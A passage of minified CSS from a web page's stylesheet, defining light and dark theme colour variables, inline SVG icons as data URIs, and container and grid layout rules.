zLjQxOTUzWicgZmlsbD0nIzgzODM4MycvPjwvc3ZnPiA=);--float-ball-more-button-border-color:#F6F6F6;--float-ball-more-button-background-color:#FCFCFC;--float-ball-more-button-svg-color:#6C6F73;color-scheme:light;--service-bg-hover:#F7FAFF}@media only screen and (prefers-color-scheme:dark){#mount:not([data-theme="light"]){--background-color:#11191f;--background-light-green:#141e26;--color:hsl(205deg,16%,77%);--h1-color:hsl(205deg,20%,94%);--h2-color:#e1e6eb;--h3-color:hsl(205deg,18%,86%);--h4-color:#c8d1d8;--h5-color:hsl(205deg,16%,77%);--h6-color:#afbbc4;--muted-color:hsl(205deg,10%,50%);--muted-border-color:#1f2d38;--primary:hsl(195deg,85%,41%);--primary-hover:hsl(195deg,80%,50%);--primary-focus:rgba(16,149,193,0.25);--primary-inverse:#fff;--secondary:hsl(205deg,15%,41%);--secondary-hover:hsl(205deg,10%,50%);--secondary-focus:rgba(115,130,140,0.25);--secondary-inverse:#fff;--contrast:hsl(205deg,20%,94%);--contrast-hover:#fff;--contrast-focus:rgba(115,130,140,0.25);--contrast-inverse:#000;--mark-background-color:#d1c284;--mark-color:#11191f;--ins-color:#388e3c;--del-color:#c62828;--blockquote-border-color:var(--muted-border-color);--blockquote-footer-color:var(--muted-color);--button-box-shadow:0 0 0 rgba(0,0,0,0);--button-hover-box-shadow:0 0 0 rgba(0,0,0,0);--form-element-background-color:#11191f;--form-element-border-color:#374956;--form-element-color:var(--color);--form-element-placeholder-color:var(--muted-color);--form-element-active-background-color:var(--form-element-background-color);--form-element-active-border-color:var(--primary);--form-element-focus-color:var(--primary-focus);--form-element-disabled-background-color:hsl(205deg,25%,23%);--form-element-disabled-border-color:hsl(205deg,20%,32%);--form-element-disabled-opacity:0.5;--form-element-invalid-border-color:#b71c1c;--form-element-invalid-active-border-color:#c62828;--form-element-invalid-focus-color:rgba(198,40,40,0.25);--form-element-valid-border-color:#2e7d32;--form-element-valid-active-border-color:#388e3c;--form-element-valid-focus-color:rgba(56,142,60,0.25);--switch-background-color:#374956;--switch-color:var(--primary-inverse);--switch-checked-background-color:var(--primary);--range-border-color:#24333e;--range-active-border-color:hsl(205deg,25%,23%);--range-thumb-border-color:var(--background-color);--range-thumb-color:var(--secondary);--range-thumb-hover-color:var(--secondary-hover);--range-thumb-active-color:var(--primary);--table-border-color:var(--muted-border-color);--table-row-stripped-background-color:rgba(115,130,140,0.05);--code-background-color:#18232c;--code-color:var(--muted-color);--code-kbd-background-color:var(--contrast);--code-kbd-color:var(--contrast-inverse);--code-tag-color:hsl(330deg,30%,50%);--code-property-color:hsl(185deg,30%,50%);--code-value-color:hsl(40deg,10%,50%);--code-comment-color:#4d606d;--accordion-border-color:var(--muted-border-color);--accordion-active-summary-color:var(--primary);--accordion-close-summary-color:var(--color);--accordion-open-summary-color:var(--muted-color);--card-background-color:#141e26;--card-border-color:var(--card-background-color);--card-box-shadow:0.0145rem 0.029rem 0.174rem rgba(0,0,0,0.01698),0.0335rem 0.067rem 0.402rem rgba(0,0,0,0.024),0.0625rem 0.125rem 0.75rem rgba(0,0,0,0.03),0.1125rem 0.225rem 1.35rem rgba(0,0,0,0.036),0.2085rem 0.417rem 2.502rem rgba(0,0,0,0.04302),0.5rem 1rem 6rem rgba(0,0,0,0.06),0 0 0 0.0625rem rgba(0,0,0,0.015);--card-sectionning-background-color:#18232c;--dropdown-background-color:hsl(205deg,30%,15%);--dropdown-border-color:#24333e;--dropdown-box-shadow:var(--card-box-shadow);--dropdown-color:var(--color);--dropdown-hover-background-color:rgba(36,51,62,0.75);--modal-overlay-background-color:rgba(36,51,62,0.8);--progress-background-color:#24333e;--progress-color:var(--primary);--loading-spinner-opacity:0.5;--tooltip-background-color:var(--contrast);--tooltip-color:var(--contrast-inverse);--icon-checkbox:url(data:image/svg+xml,%3Csvg\ xmlns=\'http://www.w3.org/2000/svg\'\ width=\'24\'\ height=\'24\'\ viewBox=\'0\ 0\ 24\ 24\'\ fill=\'none\'\ stroke=\'rgb\(255,\ 255,\ 255\)\'\ stroke-width=\'4\'\ stroke-linecap=\'round\'\ stroke-linejoin=\'round\'%3E%3Cpolyline\ points=\'20\ 6\ 9\ 17\ 4\ 12\'%3E%3C/polyline%3E%3C/svg%3E);--icon-chevron:url(data:image/svg+xml,%3Csvg\ xmlns=\'http://www.w3.org/2000/svg\'\ width=\'24\'\ height=\'24\'\ viewBox=\'0\ 0\ 24\ 24\'\ fill=\'none\'\ stroke=\'rgb\(162,\ 175,\ 185\)\'\ stroke-width=\'2\'\ stroke-linecap=\'round\'\ stroke-linejoin=\'round\'%3E%3Cpolyline\ points=\'6\ 9\ 12\ 15\ 18\ 9\'%3E%3C/polyline%3E%3C/svg%3E);--icon-chevron-button:url(data:image/svg+xml,%3Csvg\ xmlns=\'http://www.w3.org/2000/svg\'\ width=\'24\'\ height=\'24\'\ viewBox=\'0\ 0\ 24\ 24\'\ fill=\'none\'\ stroke=\'rgb\(255,\ 255,\ 255\)\'\ stroke-width=\'2\'\ stroke-linecap=\'round\'\ stroke-linejoin=\'round\'%3E%3Cpolyline\ points=\'6\ 9\ 12\ 15\ 18\ 9\'%3E%3C/polyline%3E%3C/svg%3E);--icon-chevron-button-inverse:url(data:image/svg+xml,%3Csvg\ xmlns=\'http://www.w3.org/2000/svg\'\ width=\'24\'\ height=\'24\'\ viewBox=\'0\ 0\ 24\ 24\'\ fill=\'none\'\ stroke=\'rgb\(0,\ 0,\ 0\)\'\ stroke-width=\'2\'\ stroke-linecap=\'round\'\ stroke-linejoin=\'round\'%3E%3Cpolyline\ points=\'6\ 9\ 12\ 15\ 18\ 9\'%3E%3C/polyline%3E%3C/svg%3E);--icon-close:url(data:image/svg+xml,%3Csvg\ xmlns=\'http://www.w3.org/2000/svg\'\ width=\'24\'\ height=\'24\'\ viewBox=\'0\ 0\ 24\ 24\'\ fill=\'none\'\ stroke=\'rgb\(115,\ 130,\ 140\)\'\ stroke-width=\'4\'\ stroke-linecap=\'round\'\ stroke-linejoin=\'round\'%3E%3Cline\ x1=\'18\'\ y1=\'6\'\ x2=\'6\'\ y2=\'18\'%3E%3C/line%3E%3Cline\ x1=\'6\'\ y1=\'6\'\ x2=\'18\'\ y2=\'18\'%3E%3C/line%3E%3C/svg%3E);--icon-date:url(data:image/svg+xml,%3Csvg\ xmlns=\'http://www.w3.org/2000/svg\'\ width=\'24\'\ height=\'24\'\ viewBox=\'0\ 0\ 24\ 24\'\ fill=\'none\'\ stroke=\'rgb\(162,\ 175,\ 185\)\'\ stroke-width=\'2\'\ stroke-linecap=\'round\'\ stroke-linejoin=\'round\'%3E%3Crect\ x=\'3\'\ y=\'4\'\ width=\'18\'\ height=\'18\'\ rx=\'2\'\ ry=\'2\'%3E%3C/rect%3E%3Cline\ x1=\'16\'\ y1=\'2\'\ x2=\'16\'\ y2=\'6\'%3E%3C/line%3E%3Cline\ x1=\'8\'\ y1=\'2\'\ x2=\'8\'\ y2=\'6\'%3E%3C/line%3E%3Cline\ x1=\'3\'\ y1=\'10\'\ x2=\'21\'\ y2=\'10\'%3E%3C/line%3E%3C/svg%3E);--icon-invalid:url(data:image/svg+xml,%3Csvg\ xmlns=\'http://www.w3.org/2000/svg\'\ width=\'24\'\ height=\'24\'\ viewBox=\'0\ 0\ 24\ 24\'\ fill=\'none\'\ stroke=\'rgb\(183,\ 28,\ 28\)\'\ stroke-width=\'2\'\ stroke-linecap=\'round\'\ stroke-linejoin=\'round\'%3E%3Ccircle\ cx=\'12\'\ cy=\'12\'\ r=\'10\'%3E%3C/circle%3E%3Cline\ x1=\'12\'\ y1=\'8\'\ x2=\'12\'\ y2=\'12\'%3E%3C/line%3E%3Cline\ x1=\'12\'\ y1=\'16\'\ x2=\'12.01\'\ y2=\'16\'%3E%3C/line%3E%3C/svg%3E);--icon-minus:url(data:image/svg+xml,%3Csvg\ xmlns=\'http://www.w3.org/2000/svg\'\ width=\'24\'\ height=\'24\'\ viewBox=\'0\ 0\ 24\ 24\'\ fill=\'none\'\ stroke=\'rgb\(255,\ 255,\ 255\)\'\ stroke-width=\'4\'\ stroke-linecap=\'round\'\ stroke-linejoin=\'round\'%3E%3Cline\ x1=\'5\'\ y1=\'12\'\ x2=\'19\'\ y2=\'12\'%3E%3C/line%3E%3C/svg%3E);--icon-search:url(data:image/svg+xml,%3Csvg\ xmlns=\'http://www.w3.org/2000/svg\'\ width=\'24\'\ height=\'24\'\ viewBox=\'0\ 0\ 24\ 24\'\ fill=\'none\'\ stroke=\'rgb\(162,\ 175,\ 185\)\'\ stroke-width=\'2\'\ stroke-linecap=\'round\'\ stroke-linejoin=\'round\'%3E%3Ccircle\ cx=\'11\'\ cy=\'11\'\ r=\'8\'%3E%3C/circle%3E%3Cline\ x1=\'21\'\ y1=\'21\'\ x2=\'16.65\'\ y2=\'16.65\'%3E%3C/line%3E%3C/svg%3E);--icon-time:url(data:image/svg+xml,%3Csvg\ xmlns=\'http://www.w3.org/2000/svg\'\ width=\'24\'\ height=\'24\'\ viewBox=\'0\ 0\ 24\ 24\'\ fill=\'none\'\ stroke=\'rgb\(162,\ 175,\ 185\)\'\ stroke-width=\'2\'\ stroke-linecap=\'round\'\ stroke-linejoin=\'round\'%3E%3Ccircle\ cx=\'12\'\ cy=\'12\'\ r=\'10\'%3E%3C/circle%3E%3Cpolyline\ points=\'12\ 6\ 12\ 12\ 16\ 14\'%3E%3C/polyline%3E%3C/svg%3E);--icon-valid:url(data:image/svg+xml,%3Csvg\ xmlns=\'http://www.w3.org/2000/svg\'\ width=\'24\'\ height=\'24\'\ viewBox=\'0\ 0\ 24\ 24\'\ fill=\'none\'\ stroke=\'rgb\(46,\ 125,\ 50\)\'\ stroke-width=\'3\'\ stroke-linecap=\'round\'\ stroke-linejoin=\'round\'%3E%3Cpolyline\ points=\'20\ 6\ 9\ 17\ 4\ 12\'%3E%3C/polyline%3E%3C/svg%3E);--icon-share:url(data:image/svg+xml;charset=utf-8;base64,PHN2ZyB3aWR0aD0nMjInIGhlaWdodD0nMjInIHZpZXdCb3g9JzAgMCAyMiAyMicgZmlsbD0nbm9uZScgeG1sbnM9J2h0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnJz48cGF0aCBkPSdNMTcuOTM0OCA3LjY0ODQ0QzE5Ljg5NDEgNy42NDg0NCAyMS40ODU1IDYuMDU0NjkgMjEuNDg1NSA0LjA5NzY2QzIxLjQ4NTUgMi4xNDA2MiAxOS44OTE4IDAuNTQ2ODc1IDE3LjkzNDggMC41NDY4NzVDMTUuOTc1NCAwLjU0Njg3NSAxNC4zODQgMi4xNDA2MiAxNC4zODQgNC4wOTc2NkMxNC4zODQgNC4yOTkyMiAxNC40MDA0IDQuNDkzNzUgMTQuNDMzMiA0LjY4NTk0TDYuMzIzODMgOC4zNTM5MUM1LjcwOTc3IDcuODQ1MzEgNC45MjIyNyA3LjU0MDYyIDQuMDY0NDUgNy41NDA2MkMyLjEwNTA4IDcuNTQwNjIgMC41MTM2NzIgOS4xMzQzOCAwLjUxMzY3MiAxMS4wOTE0QzAuNTEzNjcyIDEzLjA0ODQgMi4xMDc0MiAxNC42NDIyIDQuMDY0NDUgMTQuNjQyMkM0LjgzMzIgMTQuNjQyMiA1LjU0NTcgMTQuMzk2MSA2LjEyNjk1IDEzLjk4MTNMMTEuNDk0MSAxNi45OTUzQzExLjQxNjggMTcuMjg1OSAxMS4zNzcgMTcuNTg4MyAxMS4zNzcgMTcuOTAyM0MxMS4zNzcgMTkuODYxNyAxMi45NzA3IDIxLjQ1MzEgMTQuOTI3NyAyMS40NTMxQzE2Ljg4NzEgMjEuNDUzMSAxOC40Nzg1IDE5Ljg1OTQgMTguNDc4NSAxNy45MDIzQzE4LjQ3ODUgMTUuOTQzIDE2Ljg4NDggMTQuMzUxNiAxNC45Mjc3IDE0LjM1MTZDMTMuOTU3NCAxNC4zNTE2IDEzLjA3ODUgMTQuNzQzIDEyLjQzNjMgMTUuMzczNEw3LjMyMjI3IDEyLjUwNDdDNy41MDk3NyAxMi4wNzExIDcuNjE1MjMgMTEuNTk1MyA3LjYxNTIzIDExLjA5MzhDNy42MTUyMyAxMC42ODEyIDcuNTQ0OTIgMTAuMjg3NSA3LjQxNjAyIDkuOTE5NTNMMTUuMjIzIDYuMzg3NUMxNS44NzQ2IDcuMTU2MjUgMTYuODQ5NiA3LjY0ODQ0IDE3LjkzNDggNy42NDg0NFpNNC4wNjQ0NSAxMi43Njk1QzMuMTQxMDIgMTIuNzY5NSAyLjM4ODY3IDEyLjAxNzIgMi4zODg2NyAxMS4wOTM4QzIuMzg4NjcgMTAuMTcwMyAzLjE0MTAyIDkuNDE3OTcgNC4wNjQ0NSA5LjQxNzk3QzQuOTg3ODkgOS40MTc5NyA1Ljc0MDIzIDEwLjE3MDMgNS43NDAyMyAxMS4wOTM4QzUuNzQwMjMgMTIuMDE3MiA0Ljk4Nzg5IDEyLjc2OTUgNC4wNjQ0NSAxMi43Njk1Wk0xNC45Mjc3IDE2LjIyNjZDMTUuODUxMiAxNi4yMjY2IDE2LjYwMzUgMTYuOTc4OSAxNi42MDM1IDE3LjkwMjNDMTYuNjAzNSAxOC44MjU4IDE1Ljg1MTIgMTkuNTc4MSAxNC45Mjc3IDE5LjU3ODFDMTQuMDA0MyAxOS41NzgxIDEzLjI1MiAxOC44MjU4IDEzLjI1MiAxNy45MDIzQzEzLjI1MiAxNi45Nzg5IDE0LjAwMiAxNi4yMjY2IDE0LjkyNzcgMTYuMjI2NlpNMTcuOTM0OCAyLjQxOTUzQzE4Ljg1ODIgMi40MTk1MyAxOS42MTA1IDMuMTcxODcgMTkuNjEwNSA0LjA5NTMxQzE5LjYxMDUgNS4wMTg3NSAxOC44NTgyIDUuNzcxMDkgMTcuOTM0OCA1Ljc3MTA5QzE3LjAxMTMgNS43NzEwOSAxNi4yNTkgNS4wMTg3NSAxNi4yNTkgNC4wOTUzMUMxNi4yNTkgMy4xNzE4NyAxNy4wMTEzIDIuNDE5NTMgMTcuOTM0OCAyLjQxOTUzWicgZmlsbD0nI0I2QjZCNicvPjwvc3ZnPiA=);color-scheme:dark;--service-bg-hover:#22292F}}[data-theme="dark"]{--background-color:#11191f;--background-light-green:#141e26;--color:hsl(205deg,16%,77%);--h1-color:hsl(205deg,20%,94%);--h2-color:#e1e6eb;--h3-color:hsl(205deg,18%,86%);--h4-color:#c8d1d8;--h5-color:hsl(205deg,16%,77%);--h6-color:#afbbc4;--muted-color:hsl(205deg,10%,50%);--muted-border-color:#1f2d38;--primary:hsl(195deg,85%,41%);--primary-hover:hsl(195deg,80%,50%);--primary-focus:rgba(16,149,193,0.25);--primary-inverse:#fff;--secondary:hsl(205deg,15%,41%);--secondary-hover:hsl(205deg,10%,50%);--secondary-focus:rgba(115,130,140,0.25);--secondary-inverse:#fff;--contrast:hsl(205deg,20%,94%);--contrast-hover:#fff;--contrast-focus:rgba(115,130,140,0.25);--contrast-inverse:#000;--mark-background-color:#d1c284;--mark-color:#11191f;--ins-color:#388e3c;--del-color:#c62828;--blockquote-border-color:var(--muted-border-color);--blockquote-footer-color:var(--muted-color);--button-box-shadow:0 0 0 rgba(0,0,0,0);--button-hover-box-shadow:0 0 0 rgba(0,0,0,0);--form-element-background-color:#11191f;--form-element-border-color:#374956;--form-element-color:var(--color);--form-element-placeholder-color:var(--muted-color);--form-element-active-background-color:var(--form-element-background-color);--form-element-active-border-color:var(--primary);--form-element-focus-color:var(--primary-focus);--form-element-disabled-background-color:hsl(205deg,25%,23%);--form-element-disabled-border-color:hsl(205deg,20%,32%);--form-element-disabled-opacity:0.5;--form-element-invalid-border-color:#b71c1c;--form-element-invalid-active-border-color:#c62828;--form-element-invalid-focus-color:rgba(198,40,40,0.25);--form-element-valid-border-color:#2e7d32;--form-element-valid-active-border-color:#388e3c;--form-element-valid-focus-color:rgba(56,142,60,0.25);--switch-background-color:#374956;--switch-color:var(--primary-inverse);--switch-checked-background-color:var(--primary);--range-border-color:#24333e;--range-active-border-color:hsl(205deg,25%,23%);--range-thumb-border-color:var(--background-color);--range-thumb-color:var(--secondary);--range-thumb-hover-color:var(--secondary-hover);--range-thumb-active-color:var(--primary);--table-border-color:var(--muted-border-color);--table-row-stripped-background-color:rgba(115,130,140,0.05);--code-background-color:#18232c;--code-color:var(--muted-color);--code-kbd-background-color:var(--contrast);--code-kbd-color:var(--contrast-inverse);--code-tag-color:hsl(330deg,30%,50%);--code-property-color:hsl(185deg,30%,50%);--code-value-color:hsl(40deg,10%,50%);--code-comment-color:#4d606d;--accordion-border-color:var(--muted-border-color);--accordion-active-summary-color:var(--primary);--accordion-close-summary-color:var(--color);--accordion-open-summary-color:var(--muted-color);--card-background-color:#141e26;--card-border-color:var(--card-background-color);--card-box-shadow:0.0145rem 0.029rem 0.174rem rgba(0,0,0,0.01698),0.0335rem 0.067rem 0.402rem rgba(0,0,0,0.024),0.0625rem 0.125rem 0.75rem rgba(0,0,0,0.03),0.1125rem 0.225rem 1.35rem rgba(0,0,0,0.036),0.2085rem 0.417rem 2.502rem rgba(0,0,0,0.04302),0.5rem 1rem 6rem rgba(0,0,0,0.06),0 0 0 0.0625rem rgba(0,0,0,0.015);--card-sectionning-background-color:#18232c;--dropdown-background-color:hsl(205deg,30%,15%);--dropdown-border-color:#24333e;--dropdown-box-shadow:var(--card-box-shadow);--dropdown-color:var(--color);--dropdown-hover-background-color:rgba(36,51,62,0.75);--modal-overlay-background-color:rgba(36,51,62,0.8);--progress-background-color:#24333e;--progress-color:var(--primary);--loading-spinner-opacity:0.5;--tooltip-background-color:var(--contrast);--tooltip-color:var(--contrast-inverse);--icon-checkbox:url(data:image/svg+xml,%3Csvg\ xmlns=\'http://www.w3.org/2000/svg\'\ width=\'24\'\ height=\'24\'\ viewBox=\'0\ 0\ 24\ 24\'\ fill=\'none\'\ stroke=\'rgb\(255,\ 255,\ 255\)\'\ stroke-width=\'4\'\ stroke-linecap=\'round\'\ stroke-linejoin=\'round\'%3E%3Cpolyline\ points=\'20\ 6\ 9\ 17\ 4\ 12\'%3E%3C/polyline%3E%3C/svg%3E);--icon-chevron:url(data:image/svg+xml,%3Csvg\ xmlns=\'http://www.w3.org/2000/svg\'\ width=\'24\'\ height=\'24\'\ viewBox=\'0\ 0\ 24\ 24\'\ fill=\'none\'\ stroke=\'rgb\(162,\ 175,\ 185\)\'\ stroke-width=\'2\'\ stroke-linecap=\'round\'\ stroke-linejoin=\'round\'%3E%3Cpolyline\ points=\'6\ 9\ 12\ 15\ 18\ 9\'%3E%3C/polyline%3E%3C/svg%3E);--icon-chevron-button:url(data:image/svg+xml,%3Csvg\ xmlns=\'http://www.w3.org/2000/svg\'\ width=\'24\'\ height=\'24\'\ viewBox=\'0\ 0\ 24\ 24\'\ fill=\'none\'\ stroke=\'rgb\(255,\ 255,\ 255\)\'\ stroke-width=\'2\'\ stroke-linecap=\'round\'\ stroke-linejoin=\'round\'%3E%3Cpolyline\ points=\'6\ 9\ 12\ 15\ 18\ 9\'%3E%3C/polyline%3E%3C/svg%3E);--icon-chevron-button-inverse:url(data:image/svg+xml,%3Csvg\ xmlns=\'http://www.w3.org/2000/svg\'\ width=\'24\'\ height=\'24\'\ viewBox=\'0\ 0\ 24\ 24\'\ fill=\'none\'\ stroke=\'rgb\(0,\ 0,\ 0\)\'\ stroke-width=\'2\'\ stroke-linecap=\'round\'\ stroke-linejoin=\'round\'%3E%3Cpolyline\ points=\'6\ 9\ 12\ 15\ 18\ 9\'%3E%3C/polyline%3E%3C/svg%3E);--icon-close:url(data:image/svg+xml,%3Csvg\ xmlns=\'http://www.w3.org/2000/svg\'\ width=\'24\'\ height=\'24\'\ viewBox=\'0\ 0\ 24\ 24\'\ fill=\'none\'\ stroke=\'rgb\(115,\ 130,\ 140\)\'\ stroke-width=\'4\'\ stroke-linecap=\'round\'\ stroke-linejoin=\'round\'%3E%3Cline\ x1=\'18\'\ y1=\'6\'\ x2=\'6\'\ y2=\'18\'%3E%3C/line%3E%3Cline\ x1=\'6\'\ y1=\'6\'\ x2=\'18\'\ y2=\'18\'%3E%3C/line%3E%3C/svg%3E);--icon-date:url(data:image/svg+xml,%3Csvg\ xmlns=\'http://www.w3.org/2000/svg\'\ width=\'24\'\ height=\'24\'\ viewBox=\'0\ 0\ 24\ 24\'\ fill=\'none\'\ stroke=\'rgb\(162,\ 175,\ 185\)\'\ stroke-width=\'2\'\ stroke-linecap=\'round\'\ stroke-linejoin=\'round\'%3E%3Crect\ x=\'3\'\ y=\'4\'\ width=\'18\'\ height=\'18\'\ rx=\'2\'\ ry=\'2\'%3E%3C/rect%3E%3Cline\ x1=\'16\'\ y1=\'2\'\ x2=\'16\'\ y2=\'6\'%3E%3C/line%3E%3Cline\ x1=\'8\'\ y1=\'2\'\ x2=\'8\'\ y2=\'6\'%3E%3C/line%3E%3Cline\ x1=\'3\'\ y1=\'10\'\ x2=\'21\'\ y2=\'10\'%3E%3C/line%3E%3C/svg%3E);--icon-invalid:url(data:image/svg+xml,%3Csvg\ xmlns=\'http://www.w3.org/2000/svg\'\ width=\'24\'\ height=\'24\'\ viewBox=\'0\ 0\ 24\ 24\'\ fill=\'none\'\ stroke=\'rgb\(183,\ 28,\ 28\)\'\ stroke-width=\'2\'\ stroke-linecap=\'round\'\ stroke-linejoin=\'round\'%3E%3Ccircle\ cx=\'12\'\ cy=\'12\'\ r=\'10\'%3E%3C/circle%3E%3Cline\ x1=\'12\'\ y1=\'8\'\ x2=\'12\'\ y2=\'12\'%3E%3C/line%3E%3Cline\ x1=\'12\'\ y1=\'16\'\ x2=\'12.01\'\ y2=\'16\'%3E%3C/line%3E%3C/svg%3E);--icon-minus:url(data:image/svg+xml,%3Csvg\ xmlns=\'http://www.w3.org/2000/svg\'\ width=\'24\'\ height=\'24\'\ viewBox=\'0\ 0\ 24\ 24\'\ fill=\'none\'\ stroke=\'rgb\(255,\ 255,\ 255\)\'\ stroke-width=\'4\'\ stroke-linecap=\'round\'\ stroke-linejoin=\'round\'%3E%3Cline\ x1=\'5\'\ y1=\'12\'\ x2=\'19\'\ y2=\'12\'%3E%3C/line%3E%3C/svg%3E);--icon-search:url(data:image/svg+xml,%3Csvg\ xmlns=\'http://www.w3.org/2000/svg\'\ width=\'24\'\ height=\'24\'\ viewBox=\'0\ 0\ 24\ 24\'\ fill=\'none\'\ stroke=\'rgb\(162,\ 175,\ 185\)\'\ stroke-width=\'2\'\ stroke-linecap=\'round\'\ stroke-linejoin=\'round\'%3E%3Ccircle\ cx=\'11\'\ cy=\'11\'\ r=\'8\'%3E%3C/circle%3E%3Cline\ x1=\'21\'\ y1=\'21\'\ x2=\'16.65\'\ y2=\'16.65\'%3E%3C/line%3E%3C/svg%3E);--icon-time:url(data:image/svg+xml,%3Csvg\ xmlns=\'http://www.w3.org/2000/svg\'\ width=\'24\'\ height=\'24\'\ viewBox=\'0\ 0\ 24\ 24\'\ fill=\'none\'\ stroke=\'rgb\(162,\ 175,\ 185\)\'\ stroke-width=\'2\'\ stroke-linecap=\'round\'\ stroke-linejoin=\'round\'%3E%3Ccircle\ cx=\'12\'\ cy=\'12\'\ r=\'10\'%3E%3C/circle%3E%3Cpolyline\ points=\'12\ 6\ 12\ 12\ 16\ 14\'%3E%3C/polyline%3E%3C/svg%3E);--icon-valid:url(data:image/svg+xml,%3Csvg\ xmlns=\'http://www.w3.org/2000/svg\'\ width=\'24\'\ height=\'24\'\ viewBox=\'0\ 0\ 24\ 24\'\ fill=\'none\'\ stroke=\'rgb\(46,\ 125,\ 50\)\'\ stroke-width=\'3\'\ stroke-linecap=\'round\'\ stroke-linejoin=\'round\'%3E%3Cpolyline\ points=\'20\ 6\ 9\ 17\ 4\ 12\'%3E%3C/polyline%3E%3C/svg%3E);--icon-share:url(data:image/svg+xml;charset=utf-8;base64,PHN2ZyB3aWR0aD0nMjInIGhlaWdodD0nMjInIHZpZXdCb3g9JzAgMCAyMiAyMicgZmlsbD0nbm9uZScgeG1sbnM9J2h0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnJz48cGF0aCBkPSdNMTcuOTM0OCA3LjY0ODQ0QzE5Ljg5NDEgNy42NDg0NCAyMS40ODU1IDYuMDU0NjkgMjEuNDg1NSA0LjA5NzY2QzIxLjQ4NTUgMi4xNDA2MiAxOS44OTE4IDAuNTQ2ODc1IDE3LjkzNDggMC41NDY4NzVDMTUuOTc1NCAwLjU0Njg3NSAxNC4zODQgMi4xNDA2MiAxNC4zODQgNC4wOTc2NkMxNC4zODQgNC4yOTkyMiAxNC40MDA0IDQuNDkzNzUgMTQuNDMzMiA0LjY4NTk0TDYuMzIzODMgOC4zNTM5MUM1LjcwOTc3IDcuODQ1MzEgNC45MjIyNyA3LjU0MDYyIDQuMDY0NDUgNy41NDA2MkMyLjEwNTA4IDcuNTQwNjIgMC41MTM2NzIgOS4xMzQzOCAwLjUxMzY3MiAxMS4wOTE0QzAuNTEzNjcyIDEzLjA0ODQgMi4xMDc0MiAxNC42NDIyIDQuMDY0NDUgMTQuNjQyMkM0LjgzMzIgMTQuNjQyMiA1LjU0NTcgMTQuMzk2MSA2LjEyNjk1IDEzLjk4MTNMMTEuNDk0MSAxNi45OTUzQzExLjQxNjggMTcuMjg1OSAxMS4zNzcgMTcuNTg4MyAxMS4zNzcgMTcuOTAyM0MxMS4zNzcgMTkuODYxNyAxMi45NzA3IDIxLjQ1MzEgMTQuOTI3NyAyMS40NTMxQzE2Ljg4NzEgMjEuNDUzMSAxOC40Nzg1IDE5Ljg1OTQgMTguNDc4NSAxNy45MDIzQzE4LjQ3ODUgMTUuOTQzIDE2Ljg4NDggMTQuMzUxNiAxNC45Mjc3IDE0LjM1MTZDMTMuOTU3NCAxNC4zNTE2IDEzLjA3ODUgMTQuNzQzIDEyLjQzNjMgMTUuMzczNEw3LjMyMjI3IDEyLjUwNDdDNy41MDk3NyAxMi4wNzExIDcuNjE1MjMgMTEuNTk1MyA3LjYxNTIzIDExLjA5MzhDNy42MTUyMyAxMC42ODEyIDcuNTQ0OTIgMTAuMjg3NSA3LjQxNjAyIDkuOTE5NTNMMTUuMjIzIDYuMzg3NUMxNS44NzQ2IDcuMTU2MjUgMTYuODQ5NiA3LjY0ODQ0IDE3LjkzNDggNy42NDg0NFpNNC4wNjQ0NSAxMi43Njk1QzMuMTQxMDIgMTIuNzY5NSAyLjM4ODY3IDEyLjAxNzIgMi4zODg2NyAxMS4wOTM4QzIuMzg4NjcgMTAuMTcwMyAzLjE0MTAyIDkuNDE3OTcgNC4wNjQ0NSA5LjQxNzk3QzQuOTg3ODkgOS40MTc5NyA1Ljc0MDIzIDEwLjE3MDMgNS43NDAyMyAxMS4wOTM4QzUuNzQwMjMgMTIuMDE3MiA0Ljk4Nzg5IDEyLjc2OTUgNC4wNjQ0NSAxMi43Njk1Wk0xNC45Mjc3IDE2LjIyNjZDMTUuODUxMiAxNi4yMjY2IDE2LjYwMzUgMTYuOTc4OSAxNi42MDM1IDE3LjkwMjNDMTYuNjAzNSAxOC44MjU4IDE1Ljg1MTIgMTkuNTc4MSAxNC45Mjc3IDE5LjU3ODFDMTQuMDA0MyAxOS41NzgxIDEzLjI1MiAxOC44MjU4IDEzLjI1MiAxNy45MDIzQzEzLjI1MiAxNi45Nzg5IDE0LjAwMiAxNi4yMjY2IDE0LjkyNzcgMTYuMjI2NlpNMTcuOTM0OCAyLjQxOTUzQzE4Ljg1ODIgMi40MTk1MyAxOS42MTA1IDMuMTcxODcgMTkuNjEwNSA0LjA5NTMxQzE5LjYxMDUgNS4wMTg3NSAxOC44NTgyIDUuNzcxMDkgMTcuOTM0OCA1Ljc3MTA5QzE3LjAxMTMgNS43NzEwOSAxNi4yNTkgNS4wMTg3NSAxNi4yNTkgNC4wOTUzMUMxNi4yNTkgMy4xNzE4NyAxNy4wMTEzIDIuNDE5NTMgMTcuOTM0OCAyLjQxOTUzWicgZmlsbD0nI0I2QjZCNicvPjwvc3ZnPiA=);color-scheme:dark}progress,[type="checkbox"],[type="radio"],[type="range"]{accent-color:var(--primary)}*,*::before,*::after{box-sizing:border-box;background-repeat:no-repeat}::before,::after{text-decoration:inherit;vertical-align:inherit}:where(#mount){-webkit-tap-highlight-color:transparent;-webkit-text-size-adjust:100%;-moz-text-size-adjust:100%;text-size-adjust:100%;background-color:var(--background-color);color:var(--color);font-weight:var(--font-weight);font-size:var(--font-size);line-height:var(--line-height);font-family:var(--font-family);text-rendering:optimizeLegibility;overflow-wrap:break-word;cursor:default;-moz-tab-size:4;-o-tab-size:4;tab-size:4}main{display:block}#mount{width:100%;margin:0}#mount>header,#mount>main,#mount>footer{width:100%;margin-right:auto;margin-left:auto;padding:var(--block-spacing-vertical) var(--block-spacing-horizontal)}@media (min-width:576px){#mount>header,#mount>main,#mount>footer{max-width:510px;padding-right:0;padding-left:0}}@media (min-width:768px){#mount>header,#mount>main,#mount>footer{max-width:700px}}@media (min-width:992px){#mount>header,#mount>main,#mount>footer{max-width:920px}}@media (min-width:1200px){#mount>header,#mount>main,#mount>footer{max-width:1130px}}.container,.container-fluid{width:100%;margin-right:auto;margin-left:auto;padding-right:var(--spacing);padding-left:var(--spacing)}@media (min-width:576px){.container{max-width:510px;padding-right:0;padding-left:0}}@media (min-width:768px){.container{max-width:700px}}@media (min-width:992px){.container{max-width:920px}}@media (min-width:1200px){.container{max-width:1130px}}section{margin-bottom:var(--block-spacing-vertical)}.grid{grid-column-gap:var(--grid-spacing-horizontal);grid-row-gap:var(--grid-spacing-vertical);display:grid;grid-template-columns:1fr;margin:0}@media 